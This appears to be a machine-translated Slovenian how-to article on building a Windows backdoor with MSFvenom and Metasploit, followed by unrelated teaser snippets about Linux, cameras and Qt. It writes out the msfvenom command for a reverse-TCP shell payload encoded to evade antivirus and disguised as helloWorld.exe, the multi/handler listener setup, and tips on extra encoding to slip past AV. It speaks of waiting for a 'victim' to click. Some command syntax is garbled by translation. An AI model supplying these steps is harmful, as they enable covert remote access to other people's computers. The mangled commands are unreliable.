Zadnja vrata se uporabljajo za izogibanje varnostnim mehanizmom, pogosto na skrivaj in večinoma neopazno. Z uporabo MSFvenom, kombinacije msfpayload in msfencode, je mogoče ustvariti stranska vrata, ki se povežejo z napadalcem z uporabo TCP -ja za povratno lupino. Če želite razviti backdoor, morate spremeniti podpis zlonamerne programske opreme, da se izognete protivirusni programski opremi. Dokončajte ta projekt na parih računalnikih, do katerih imate dovoljenje za dostop, in med tem boste izvedeli več o računalniški varnosti in o tem, kako tovrstna zaledna vrata delujejo.
Koraki
Korak 1. Zaženite Kali in zaženite terminalsko konzolo
Korak 2. Vnesite ifconfig za prikaz vmesnika in preverite svoj IP naslov
Korak 3. Vnesite kodirnike msfvenom -l, da se prikaže seznam kodirnikov
Kot kodirnik boste uporabili x86/shikata_ga_nai
Korak 4. Vnesite "msfvenom -a x86 -platforma Windows -p windows/shell/reverse_tcp LHOST = 192.168.48.129 LPORT = 4444 -b" / x00 "-e x86/shikata_ga_nai -f exe> helloWorld.exe
-a x86 -platforma Windows označuje arhitekturo za uporabo.
-p windows/shell/reverse_tcp označuje uporabne obremenitve za vdelavo.
LHOST označuje IP naslov poslušalca.
LPORT označuje vrata poslušalca.
-b "\ x00" označuje, da se izognemo slabim znakom (ničelni bajti).
-e x86/shikata_ga_nai označuje ime kodirnika.
-f exe> helloWorld.exe označuje izhod formata.
Korak 5. Vnesite msfconsole, da aktivirate Metasploit
Zdaj ste ustvarili zadnja vrata. Ko žrtev klikne helloWorld.exe, se vklopi koristna obremenitev lupine in vzpostavi povezavo z vašim sistemom. Če želite prejeti povezavo, morate odpreti večnamenski upravljalnik v Metasploitu in nastaviti koristne obremenitve
Korak 6. Vnesite use exploit/multi/handler
Korak 7. Vnesite set payload windows/shell/reverse_tcp
Korak 8. Vnesite show options, da preverite modul
Korak 9. Vnesite niz LHOST 192.168.48.129
"LHOST" označuje naslov poslušalca IP
Korak 10. Vnesite niz LPORT 4444
"LPORT" označuje vrata poslušalca
Korak 11. Vnesite run in počakajte na povezavo iz računalnika žrtve
Korak 12. Počakajte, da žrtev klikne helloWorld.exe
Potem boste uspešno povezani z računalnikom žrtve.
Nasveti
Uporaba -i v MSFvenom bo predstavljala ponovitve kodiranja. Včasih lahko več ponovitev pomaga pri izogibanju programski opremi AV.
Naučili ste se ustvariti zaledje in kodirati z uporabo MSFvenom, vendar ta metoda danes ne bo delovala popolnoma proti nekaterim programom AV. Razlog za to so predloge izvedbe v MSFvenom. Prodajalci AV so dodali statični podpis teh predlog in jih samo poiščejo. Rešitev za to težavo je uporaba drugačne predloge izvedbe ali različnih orodij.
"Korenski" račun v računalniku s sistemom Linux je račun s polnimi pravicami. Rootni dostop je pogosto potreben za izvajanje ukazov v Linuxu, zlasti ukazov, ki vplivajo na sistemske datoteke. Ker je root tako močan, je priporočljivo, da zahtevate korenski dostop le, kadar je to potrebno, namesto da se prijavite kot korenski uporabnik.
Ta wikiHow vas uči, kako spremeniti skupino datotek v datoteko ISO na računalniku s sistemom Linux. Za to boste uporabili ukazno vrstico Linux. Koraki Metoda 1 od 2: Ustvarjanje ISO iz datotek Korak 1. Zberite datoteke ISO v domačem imeniku Vse datoteke, ki jih želite spremeniti v datoteko ISO, postavite v mapo v doma mapo.
Ta wikiHow vas uči, kako ustvariti in urediti besedilno datoteko v dveh priljubljenih urejevalnikih besedila Linux. Skoraj vsi sistemi Linux imajo vnaprej nameščen Nano, enostaven urejevalnik besedil, enostaven za uporabo. Če vam ni všeč (ali nimate) Nano, lahko za urejanje besedilnih datotek uporabite tudi Vi (ali Vim, odvisno od sistema).
V dobi digitalnih fotoaparatov se vam morda zdi nenavadno poučiti, kako uporabljati "zastarele" 35 -milimetrske fotoaparate. Kljub temu je veliko ljudi, ki se odločijo za snemanje filma iz umetniških (in drugih) razlogov. Z digitalnim požiranjem tržnega deleža za skoraj vse, razen za pokrajinsko fotografijo, je super 35 -milimetrska kamera cenejša, kot je bila kdaj koli prej.
Komplet za razvoj programske opreme Qt (SDK) je prenosni ogrodje uporabniškega vmesnika za več platform, ki deluje v operacijskih sistemih Windows, Linux in Mac OS X. Qt SDK vam pomaga ustvariti grafične uporabniške vmesnike (GUI -je) za vaše aplikacije, ki se bodo izvajale v sistemih Windows, Linux in Mac OS X.